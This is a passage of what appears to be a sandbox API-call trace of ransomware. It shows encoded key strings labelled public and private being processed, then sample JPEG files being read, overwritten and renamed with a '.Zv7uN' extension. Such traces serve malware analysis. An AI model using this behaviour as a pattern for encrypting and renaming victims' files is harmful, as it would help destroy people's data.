qDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0121.207] GetCurrentThreadId () returned 0xa30 [0121.207] GetCurrentThreadId () returned 0xa30 [0121.207] GetCurrentThreadId () returned 0xa30 [0121.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0121.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0121.208] GetCurrentThreadId () returned 0xa30 [0121.208] GetCurrentThreadId () returned 0xa30 [0121.208] GetCurrentThreadId () returned 0xa30 [0121.208] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0121.209] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0121.209] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0121.209] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x8907c [0121.209] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0121.209] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef10000 [0121.210] ReadFile (in: hFile=0x1ec, lpBuffer=0x7ef10010, nNumberOfBytesToRead=0x8907c, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7ef10010*, lpNumberOfBytesRead=0x18f6a0*=0x8907c, lpOverlapped=0x0) returned 1 [0121.247] CloseHandle (hObject=0x1ec) returned 1 [0121.248] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee80000 [0121.276] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0121.290] WriteFile (in: hFile=0x1ec, lpBuffer=0x7ee80010*, nNumberOfBytesToWrite=0x8907c, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7ee80010*, lpNumberOfBytesWritten=0x18f6ac*=0x8907c, lpOverlapped=0x0) returned 1 [0121.415] CloseHandle (hObject=0x1ec) returned 1 [0121.415] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.Zv7uN" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.zv7un")) returned 1 [0121.416] VirtualFree (lpAddress=0x7ef10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.424] VirtualFree (lpAddress=0x7ee80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.431] GetCurrentThreadId () returned 0xa30 [0121.431] GetCurrentThreadId () returned 0xa30 [0121.431] GetCurrentThreadId () returned 0xa30 [0121.431] GetCurrentThreadId () returned 0xa30 [0121.431] GetCurrentThreadId () returned 0xa30 [0121.431] GetCurrentThreadId () returned 0xa30 [0121.431] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0121.431] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0121.432] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0121.432] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b)) returned 1 [0121.433] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg")) returned 0x20 [0121.433] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", dwFileAttributes=0x80) returned 1 [0121.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0121.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0121.437] GetCurrentThreadId () returned 0xa30 [0121.437] GetCurrentThreadId () returned 0xa30 [0121.437] GetCurrentThreadId () returned 0xa30 [0121.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0121.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0121.438] GetCurrentThreadId () returned 0xa30 [0121.438] GetCurrentThreadId () returned 0xa30 [0121.438] GetCurrentThreadId () returned 0xa30 [0121.438] CreateFileW 